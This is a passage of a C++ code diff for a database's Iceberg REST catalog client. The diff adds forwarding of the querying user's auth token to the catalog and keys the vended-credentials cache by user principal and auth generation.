Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN); +} + +bool RestCatalog::empty(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + loadConfigIfNeeded(auth_token); + bool found_table = false; auto stop_condition = [&](const std::string & namespace_name) -> bool { @@ -1229,7 +1535,7 @@ bool RestCatalog::empty() const if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) return false; - const auto tables = getTables(namespace_name, /* limit */1); + const auto tables = getTablesInNamespace(namespace_name, auth_token, /* limit */1); if (!tables.empty()) found_table = true; @@ -1237,13 +1543,15 @@ bool RestCatalog::empty() const }; Namespaces namespaces; - getNamespacesRecursive("", namespaces, stop_condition, /* execute_func */{}); + getNamespacesRecursive("", namespaces, stop_condition, /* execute_func */{}, auth_token); return !found_table; } -DB::Names RestCatalog::getTables() const +DB::Names RestCatalog::getTables(const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + auto & pool = getContext()->getIcebergCatalogThreadpool(); DB::Names tables; std::mutex mutex; @@ -1259,7 +1567,7 @@ DB::Names RestCatalog::getTables() const runner.enqueueAndKeepTrack( [=, &tables, &mutex, this] { - auto tables_in_namespace = getTables(current_namespace); + auto tables_in_namespace = getTablesInNamespace(current_namespace, auth_token); std::lock_guard lock(mutex); std::move(tables_in_namespace.begin(), tables_in_namespace.end(), std::back_inserter(tables)); }); @@ -1270,7 +1578,8 @@ DB::Names RestCatalog::getTables() const /* base_namespace */"", /// Empty base namespace means starting from root. namespaces, /* stop_condition */{}, - /* execute_func */execute_for_each_namespace); + /* execute_func */execute_for_each_namespace, + auth_token); runner.waitForAllToFinishAndRethrowFirstError(); } @@ -1282,11 +1591,12 @@ void RestCatalog::getNamespacesRecursive( const std::string & base_namespace, Namespaces & result, StopCondition stop_condition, - ExecuteFunc func) const + ExecuteFunc func, + const DB::ForwardedAuthTokenPtr & auth_token) const { checkStackSize(); - auto namespaces = getNamespaces(base_namespace); + auto namespaces = getNamespaces(base_namespace, auth_token); result.reserve(result.size() + namespaces.size()); result.insert(result.end(), namespaces.begin(), namespaces.end()); @@ -1315,7 +1625,7 @@ void RestCatalog::getNamespacesRecursive( } if (allowed_namespaces.isNamespaceAllowed(current_namespace, /*nested*/ true)) - getNamespacesRecursive(current_namespace, result, stop_condition, func); + getNamespacesRecursive(current_namespace, result, stop_condition, func, auth_token); else { LOG_DEBUG(log, "Nested namespaces in namespace {} are filtered", current_namespace); @@ -1339,9 +1649,9 @@ Poco::URI::QueryParameters RestCatalog::createParentNamespaceParams(const std::s return {{"parent", parent_param}}; } -RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_namespace) const +RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token) const { - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); Poco::URI::QueryParameters base_params; if (!base_namespace.empty()) @@ -1369,7 +1679,8 @@ RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_name ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetNamespaces); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetNamespacesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, params); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, auth_token, params); String next_page_token; auto page_namespaces = parseNamespaces(*buf, base_namespace, next_page_token); LOG_DEBUG( @@ -1496,13 +1807,13 @@ RestCatalog::Namespaces RestCatalog::parseNamespaces(DB::ReadBuffer & buf, const } } -DB::Names RestCatalog::getTables(const std::string & base_namespace, size_t limit) const +DB::Names RestCatalog::getTablesInNamespace(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token, size_t limit) const { if (!allowed_namespaces.isNamespaceAllowed(base_namespace, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", base_namespace); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); auto encoded_namespace = encodeNamespaceForURI(base_namespace); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encoded_namespace / "tables"; @@ -1527,7 +1838,7 @@ DB::Names RestCatalog::getTables(const std::string & base_namespace, size_t limi ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTables); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTablesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, params); + auto buf = createReadBuffer(*state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, params); /// Pass through the remaining limit so that single-page short-circuiting still works /// when the caller is in `empty()` (limit=1) and the first page already contains a row. @@ -1612,10 +1923,13 @@ DB::Names RestCatalog::parseTables(DB::ReadBuffer & buf, const std::string & bas } } -bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name) const +bool RestCatalog::existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { TableMetadata table_metadata; - return tryGetTableMetadata(namespace_name, table_name, getContext(), table_metadata); + /// The catalog's own (global) context is fine here: `table_metadata` asks for neither a schema + /// nor credentials, so the context is never used to interpret a response. The identity that + /// matters travels in `auth_token`. + return tryGetTableMetadataImpl(namespace_name, table_name, getContext(), table_metadata, auth_token); } bool RestCatalog::tryGetTableMetadata( @@ -1623,10 +1937,20 @@ bool RestCatalog::tryGetTableMetadata( const std::string & table_name, DB::ContextPtr context_, TableMetadata & result) const +{ + return tryGetTableMetadataImpl(namespace_name, table_name, context_, result, getForwardedAuthToken(context_)); +} + +bool RestCatalog::tryGetTableMetadataImpl( + const std::string & namespace_name, + const std::string & table_name, + DB::ContextPtr context_, + TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token) const { try { - return getTableMetadataImpl(namespace_name, table_name, context_, result); + return getTableMetadataImpl(namespace_name, table_name, context_, result, auth_token); } catch (const DB::HTTPException & ex) { @@ -1645,7 +1969,7 @@ void RestCatalog::getTableMetadata( DB::ContextPtr context_, TableMetadata & result) const { - if (!getTableMetadataImpl(namespace_name, table_name, context_, result)) + if (!getTableMetadataImpl(namespace_name, table_name, context_, result, getForwardedAuthToken(context_))) throw DB::Exception(DB::ErrorCodes::DATALAKE_DATABASE_ERROR, "No response from iceberg catalog"); } @@ -1736,24 +2060,31 @@ bool RestCatalog::getTableMetadataImpl( const std::string & table_name, DB::ContextPtr context_, TableMetadata & result, + const DB::ForwardedAuthTokenPtr & auth_token, bool allow_credentials_cache) const { LOG_DEBUG(log, "Checking table {} in namespace {}", table_name, namespace_name); + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", namespace_name); DB::HTTPHeaderEntries headers; + const auto state_snapshot = getStateSnapshot(); + const bool want_credentials = result.requiresCredentials(); + const CredentialsCacheKey credentials_key{ + state_snapshot.generation, getCredentialsCachePrincipal(auth_token), namespace_name, table_name}; /// Reuse previously vended credentials is possible std::optional cached_credentials; if (want_credentials) { if (allow_credentials_cache) - cached_credentials = tryGetCachedCredentials(namespace_name, table_name); + cached_credentials = tryGetCachedCredentials(credentials_key); /// Header `X-Iceberg-Access-Delegation` tells catalog to include storage credentials in LoadTableResponse. /// Value can be one of the two: @@ -1768,14 +2099,14 @@ bool RestCatalog::getTableMetadataImpl( } } - const auto state_snapshot = state.get(); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encodeNamespaceForURI(namespace_name) / "tables" / table_name; String json_str; { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTableMetadata); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTableMetadataMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, /* params */{}, headers); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -1836,9 +2167,9 @@ bool RestCatalog::getTableMetadataImpl( { { std::lock_guard lock(credentials_cache_mutex); - credentials_cache.erase({namespace_name, table_name}); + credentials_cache.erase(credentials_key); } - return getTableMetadataImpl(namespace_name, table_name, context_, result, /* allow_credentials_cache */ false); + return getTableMetadataImpl(namespace_name, table_name, context_, result, auth_token, /* allow_credentials_cache */ false); } ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCredentialsCacheHits); result.setStorageCredentials(cached_credentials->credentials); @@ -1852,7 +2183,7 @@ bool RestCatalog::getTableMetadataImpl( if (parsed.credentials) { result.setStorageCredentials(parsed.credentials); - cacheCredentials(namespace_name, table_name, parsed); + cacheCredentials(credentials_key, parsed); } if (!parsed.endpoint.empty()) result.setEndpoint(parsed.endpoint); @@ -1874,7 +2205,14 @@ bool RestCatalog::getTableMetadataImpl( return true; } -void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & endpoint, Poco::JSON::Object::Ptr request_body, const String & method, bool ignore_result) const +void RestCatalog::sendRequest( + const CatalogState & catalog_state, + UInt64 generation, + const String & endpoint, + Poco::JSON::Object::Ptr request_body, + const DB::ForwardedAuthTokenPtr & auth_token, + const String & method, + bool ignore_result) const { std::ostringstream oss; // STYLE_CHECK_ALLOW_STD_STRING_STREAM if (request_body) @@ -1898,10 +2236,22 @@ void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & DB::HTTPHeaderEntries extra_headers; extra_headers.emplace_back("Content-Type", "application/json"); + /// `update_token = false` plus a 401 retry, mirroring `createReadBuffer`: re-minting + /// unconditionally would cost a token round trip on every catalog mutation. auto create_buffer = [&](bool update_token, bool & used_cached_oauth_token) { - DB::HTTPHeaderEntries headers - = getAuthHeaders(catalog_state, update_token, method, url, extra_headers, body_str, &used_cached_oauth_token); + AuthContext auth_context{ + .catalog_state = catalog_state, + .generation = generation, + .update_token = update_token, + .method = method, + .url = url, + .extra_headers = extra_headers, + .body = body_str, + .auth_token = auth_token, + .used_cached_oauth_token = &used_cached_oauth_token, + }; + DB::HTTPHeaderEntries headers = getAuthHeaders(auth_context); headers.emplace_back("Content-Type", "application/json"); return DB::BuilderRWBufferFromHTTP(url) .withConnectionGroup(DB::HTTPConnectionGroupType::HTTP) @@ -1931,31 +2281,26 @@ void RestCatalog::sendRequest(const CatalogState & catalog_state, const String & } catch (const DB::HTTPException & e) { - const auto status = e.getHTTPStatus(); - if (update_token_if_expired && - (status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_UNAUTHORIZED - || status == Poco::Net::HTTPResponse::HTTPStatus::HTTP_FORBIDDEN)) - { - ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); - bool used_cached_oauth_token_on_retry = false; - auto wb = create_buffer(true, used_cached_oauth_token_on_retry); + if (!shouldRetryWithFreshToken(e.getHTTPStatus())) + throw; - String response_str; - if (!ignore_result) - readJSONObjectPossiblyInvalid(response_str, *wb); - else - wb->ignoreAll(); - } + ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUnauthorized); + bool used_cached_oauth_token_on_retry = false; + auto wb = create_buffer(true, used_cached_oauth_token_on_retry); + + String response_str; + if (!ignore_result) + readJSONObjectPossiblyInvalid(response_str, *wb); else - { - throw; - } + wb->ignoreAll(); } } -void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & location) const +void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const { - const auto state_snapshot = state.get(); + loadConfigIfNeeded(auth_token); + + const auto state_snapshot = getStateSnapshot(); /// Check existence first: creation may be denied to a principal that is still /// allowed to use a pre-provisioned namespace. @@ -1963,7 +2308,9 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name)).generic_string(); try { - sendRequest(*state_snapshot, check_endpoint, /* request_body */ nullptr, Poco::Net::HTTPRequest::HTTP_GET, /* ignore_result */ true); + sendRequest( + *state_snapshot, state_snapshot.generation, check_endpoint, /* request_body */ nullptr, auth_token, + Poco::Net::HTTPRequest::HTTP_GET, /* ignore_result */ true); return; } catch (const DB::HTTPException & e) @@ -1990,7 +2337,7 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateNamespace); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateNamespaceMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & e) { @@ -2000,13 +2347,15 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons } } -void RestCatalog::createTable(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr metadata_content) const +void RestCatalog::createTable(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to create table {}, namespace {} is filtered by `namespaces` database parameter", table_name, namespace_name); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables").generic_string(); Poco::JSON::Object::Ptr request_body = new Poco::JSON::Object; @@ -2039,7 +2388,7 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2048,15 +2397,17 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl } -bool RestCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr new_snapshot) const +bool RestCatalog::updateMetadata(const String & namespace_name, const String & table_name, const String & /*new_metadata_path*/, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!new_snapshot) throw DB::Exception( DB::ErrorCodes::NOT_IMPLEMENTED, "REST catalog does not support metadata-only updates without a snapshot " "(required for EXPIRE SNAPSHOTS)"); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string(); auto request_body = buildUpdateMetadataRequestBody(namespace_name, table_name, new_snapshot); @@ -2065,7 +2416,7 @@ bool RestCatalog::updateMetadata(const String & namespace_name, const String & t { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUpdateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogUpdateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2088,11 +2439,14 @@ bool RestCatalog::updateSchema( Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata) const + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const { fiu_do_on(DB::FailPoints::iceberg_alter_catalog_update_schema_fail, { return false; }); - const auto state_snapshot = state.get(); + loadConfigIfNeeded(auth_token); + + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string(); auto request_body = buildUpdateSchemaRequestBody( @@ -2100,7 +2454,7 @@ bool RestCatalog::updateSchema( try { - sendRequest(*state_snapshot, endpoint, request_body); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2121,14 +2475,16 @@ bool RestCatalog::updateSchema( return true; } -void RestCatalog::dropTable(const String & namespace_name, const String & table_name) const +void RestCatalog::dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const { + loadConfigIfNeeded(auth_token); + if (!allowed_namespaces.isNamespaceAllowed(namespace_name, /*nested*/ false)) throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to drop table {}, namespace {} is filtered by `namespaces` database parameter", table_name, namespace_name); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string() + "?purgeRequested=False"; @@ -2138,7 +2494,8 @@ void RestCatalog::dropTable(const String & namespace_name, const String & table_ { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest( + *state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { @@ -2284,14 +2641,24 @@ VendedStorageCredentials RestCatalog::getCredentialsAndEndpoint(Poco::JSON::Obje return {nullptr, "", std::nullopt}; } -std::optional RestCatalog::tryGetCachedCredentials( - const std::string & namespace_name, const std::string & table_name) const +String RestCatalog::getCredentialsCachePrincipal(const DB::ForwardedAuthTokenPtr & auth_token) const +{ + /// Empty when forwarding is off: the catalog vends the same service-principal credentials to + /// everyone. + if (!token_forwarding.forward_user_token || !auth_token) + return {}; + /// The fingerprint rather than the user name: rotating a token must not reuse the credentials + /// vended for the token it replaced. + return auth_token->fingerprint; +} + +std::optional RestCatalog::tryGetCachedCredentials(const CredentialsCacheKey & key) const { if (vended_credentials_cache_ttl.load(std::memory_order_relaxed) <= std::chrono::seconds::zero()) return std::nullopt; std::lock_guard lock(credentials_cache_mutex); - auto it = credentials_cache.find({namespace_name, table_name}); + auto it = credentials_cache.find(key); if (it == credentials_cache.end()) return std::nullopt; if (std::chrono::system_clock::now() >= it->second.expires_at.value()) @@ -2303,10 +2670,7 @@ std::optional RestCatalog::tryGetCachedCredentials( return it->second; } -void RestCatalog::cacheCredentials( - const std::string & namespace_name, - const std::string & table_name, - const VendedStorageCredentials & parsed) const +void RestCatalog::cacheCredentials(const CredentialsCacheKey & key, const VendedStorageCredentials & parsed) const { const auto ttl = vended_credentials_cache_ttl.load(std::memory_order_relaxed); if (ttl <= std::chrono::seconds::zero()) @@ -2332,20 +2696,38 @@ void RestCatalog::cacheCredentials( if (credentials_cache.size() >= credentials_cache_cleanup_threshold) std::erase_if(credentials_cache, [&now](const auto & entry) { return now >= entry.second.expires_at.value(); }); - credentials_cache[{namespace_name, table_name}] + + /// The sweep above only removes what has already expired, which is not a bound: with + /// per-principal keys the cache is O(users x tables). Evict the entries that expire soonest. + while (credentials_cache.size() >= credentials_cache_max_entries) + { + auto oldest = std::min_element( + credentials_cache.begin(), + credentials_cache.end(), + [](const auto & lhs, const auto & rhs) { return lhs.second.expires_at.value() < rhs.second.expires_at.value(); }); + if (oldest == credentials_cache.end()) + break; + credentials_cache.erase(oldest); + } + + credentials_cache[key] = VendedStorageCredentials{parsed.credentials, parsed.endpoint, refresh_after, parsed.table_uuid}; } -ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback(const DB::StorageID & storage_id) +ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) { - return [this, storage_id] () -> std::shared_ptr + /// Captured by value so that a mid-query credential refresh re-vends as the same user. The + /// raw token therefore lives in the object storage's credential refresher for the lifetime of + /// the per-query storage. + return [this, storage_id, auth_token] () -> std::shared_ptr { LOG_DEBUG(log, "Update credentials in the catalog"); DB::HTTPHeaderEntries headers; headers.emplace_back("X-Iceberg-Access-Delegation", "vended-credentials"); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const auto & table = storage_id.getTableName(); auto [namespace_name, table_name] = DataLake::parseTableName(table); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encodeNamespaceForURI(namespace_name) / "tables" / table_name; @@ -2354,7 +2736,8 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetCredentials); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetCredentialsMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, /* params */{}, headers); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -2394,7 +2777,8 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal if (metadata_object) parsed.table_uuid = parseTableUuid(metadata_object); /// Refresh the per-table cache so subsequent queries reuse these freshly vended credentials. - cacheCredentials(namespace_name, table_name, parsed); + cacheCredentials( + {state_snapshot.generation, getCredentialsCachePrincipal(auth_token), namespace_name, table_name}, parsed); return parsed.credentials; }; } diff --git a/src/Databases/DataLake/RestCatalog.h b/src/Databases/DataLake/RestCatalog.h index 0c54e43280c0..630f5b962120 100644 --- a/src/Databases/DataLake/RestCatalog.h +++ b/src/Databases/DataLake/RestCatalog.h @@ -2,8 +2,11 @@ #include "config.h" #if USE_AVRO +#include #include #include +#include +#include #include #include #include @@ -47,6 +50,61 @@ struct VendedStorageCredentials std::string table_uuid = {}; }; +/// Per-database configuration of forwarding the querying user's own token to the catalog. +/// The presence of `token_exchange_uri` is the mode: empty means passthrough (the user's bearer +/// token is presented unchanged), non-empty means an RFC 8693 exchange against that URL. +struct TokenForwardingConfig +{ + bool forward_user_token = false; + String token_exchange_uri; + String subject_token_type; + String requested_token_type; + bool forward_actor_token = false; + UInt64 user_token_cache_ttl = 0; + + bool exchangeEnabled() const { return forward_user_token && !token_exchange_uri.empty(); } +}; + +/// One OAuth token-endpoint request: a service principal `client_credentials` grant, or an +/// RFC 8693 token exchange. +struct TokenRequest +{ + enum class Grant + { + ClientCredentials, + TokenExchange, + }; + + Grant grant = Grant::ClientCredentials; + Poco::URI url; + /// Send parameters in the query string rather than in the form body. Only ever set for + /// `ClientCredentials` (`oauth_server_use_request_body = 0`); an exchange must never put the + /// user's JWT in a request line. + bool use_query_parameters = false; + String scope; + String client_id; + String client_secret; + /// `TokenExchange` only. + String subject_token; + String subject_token_type; + String requested_token_type; + String actor_token; + String actor_token_type; +}; + +/// Key of the vended-credentials cache. `generation` makes entries derived from superseded +/// catalog credentials unreachable the moment the generation moves on; `principal` keeps one +/// user's credentials from being served to another, and is empty when forwarding is off. +struct CredentialsCacheKey +{ + UInt64 generation = 0; + std::string principal; + std::string namespace_name; + std::string table_name; + + auto operator<=>(const CredentialsCacheKey &) const = default; +}; + class RestCatalog : public ICatalog, public DB::WithContext { public: @@ -59,15 +117,16 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & oauth_server_uri_, bool oauth_server_use_request_body_, const std::string & namespaces_, - DB::ContextPtr context_); + DB::ContextPtr context_, + const TokenForwardingConfig & token_forwarding_ = {}); ~RestCatalog() override = default; - bool empty() const override; + bool empty(const DB::ForwardedAuthTokenPtr & auth_token) const override; - DB::Names getTables() const override; + DB::Names getTables(const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool existsTable(const std::string & namespace_name, const std::string & table_name) const override; + bool existsTable(const std::string & namespace_name, const std::string & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; void getTableMetadata( const std::string & namespace_name, @@ -88,9 +147,9 @@ class RestCatalog : public ICatalog, public DB::WithContext return DB::DatabaseDataLakeCatalogType::ICEBERG_REST; } - void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content) const override; + void createTable(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr metadata_content, const DB::ForwardedAuthTokenPtr & auth_token) const override; - bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot) const override; + bool updateMetadata(const String & namespace_name, const String & table_name, const String & new_metadata_path, Poco::JSON::Object::Ptr new_snapshot, const DB::ForwardedAuthTokenPtr & auth_token) const override; bool updateSchema( const String & namespace_name, @@ -99,13 +158,23 @@ class RestCatalog : public ICatalog, public DB::WithContext Poco::JSON::Object::Ptr new_schema, Int32 previous_schema_id, Int32 new_last_column_id, - Poco::JSON::Object::Ptr metadata = nullptr) const override; + Poco::JSON::Object::Ptr metadata, + const DB::ForwardedAuthTokenPtr & auth_token) const override; bool isTransactional() const override { return true; } - void dropTable(const String & namespace_name, const String & table_name) const override; + void dropTable(const String & namespace_name, const String & table_name, const DB::ForwardedAuthTokenPtr & auth_token) const override; + + ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback( + const DB::StorageID & storage_id, const DB::ForwardedAuthTokenPtr & auth_token) override; + + bool supportsUserTokenForwarding() const override { return true; } - ICatalog::CredentialsRefreshCallback getCredentialsConfigurationCallback(const DB::StorageID & storage_id) override; + void onTokenForwardingDisabled() const override { user_token_cache.clear(); } + + /// A forwarding catalog cannot fetch `/v1/config` from the constructor, which has no user and + /// possibly no service credential, so the first user query loads it instead. + void loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_token) const; void setVendedCredentialsCacheTTL(std::chrono::seconds ttl) override { vended_credentials_cache_ttl.store(ttl, std::memory_order_relaxed); } @@ -132,12 +201,56 @@ class RestCatalog : public ICatalog, public DB::WithContext std::string tenant_id; std::string bearer_token; Config config; + /// See `loadConfigIfNeeded`. + bool config_loaded = false; }; using CatalogStateVersion = MultiVersion::Version; - CatalogStateVersion getStateSnapshot() const { return state.get(); } + /// Everything a `getAuthHeaders` implementation may need about the request being authenticated. + struct AuthContext + { + /// The snapshot the caller derived the endpoint from, so that one request never mixes + /// the endpoint of one state version with the auth of another. + const CatalogState & catalog_state; + /// The auth generation `catalog_state` was taken in -- see `StateSnapshot`. + UInt64 generation = 0; + /// Force a fresh token instead of reusing the cached one. Under forwarding this re-runs + /// the user's exchange, never a `client_credentials` grant. + bool update_token = false; + String method; + Poco::URI url; + DB::HTTPHeaderEntries extra_headers; + String body; + /// The token of the user on whose behalf this request is made, if any. + DB::ForwardedAuthTokenPtr auth_token; + /// Set to whether an already-cached OAuth token was reused, when not null. The caller + /// accounts for `DataLakeRestCatalogAuthTokenCachedValid`, because only it knows whether + /// the request went on to succeed. + bool * used_cached_oauth_token = nullptr; + }; - ICatalog::PreparedSettingsChangesPtr prepareSettingsChanges(const DB::SettingsChanges & changes) override; + /// A `CatalogState` snapshot paired with the auth generation in force when it was taken. + /// Everything a request derives from the snapshot is tagged with that generation and becomes + /// unreachable once `commitSettingsChanges` moves the generation on. + struct StateSnapshot + { + UInt64 generation = 0; + CatalogStateVersion state; + + const CatalogState & operator*() const { return *state; } + const CatalogState * operator->() const { return state.get(); } + }; + + /// Reads the generation before the state, never after: the reverse order could pair a new + /// generation with an old state and let superseded credentials cache a result as current. + StateSnapshot getStateSnapshot() const + { + const UInt64 generation = auth_generation.load(std::memory_order_acquire); + return StateSnapshot{generation, state.get()}; + } + + ICatalog::PreparedSettingsChangesPtr prepareSettingsChanges( + const DB::SettingsChanges & changes, const DB::ForwardedAuthTokenPtr & auth_token = {}) override; void commitSettingsChanges(ICatalog::PreparedSettingsChangesPtr prepared) override; @@ -161,30 +274,59 @@ class RestCatalog : public ICatalog, public DB::WithContext const std::string & namespaces_, DB::ContextPtr context_); - void createNamespaceIfNotExists(const String & namespace_name, const String & location) const override; + void createNamespaceIfNotExists(const String & namespace_name, const String & location, const DB::ForwardedAuthTokenPtr & auth_token) const override; const std::filesystem::path base_url; const LoggerPtr log; - MultiVersion state{std::make_unique()}; + /// Mutable because a forwarding catalog publishes the lazily loaded `/v1/config` from the + /// const query path. + mutable MultiVersion state{std::make_unique()}; + /// Serializes the lazy config load, so that queries fanned across the catalog thread pool + /// issue one `GET /v1/config` between them. + mutable std::mutex config_mutex; /// Parameters for OAuth (common for REST catalog). bool update_token_if_expired = false; std::string auth_scope; std::string oauth_server_uri; bool oauth_server_use_request_body; + /// Strictly the service-principal / actor token. Shared by every user of the database, so a + /// per-user token must never be stored here. mutable MultiVersion access_token; + TokenForwardingConfig token_forwarding; + + /// Session tokens obtained by exchanging a user's token, keyed on the token fingerprint so + /// that a cached session cannot outlive the credential that produced it. Bounded, because the + /// number of concurrent users is not. Passthrough caches nothing. + static constexpr size_t user_token_cache_max_entries = 1024; + mutable DB::CacheBase user_token_cache; + + /// Bumped by `commitSettingsChanges` once per auth change, so that a 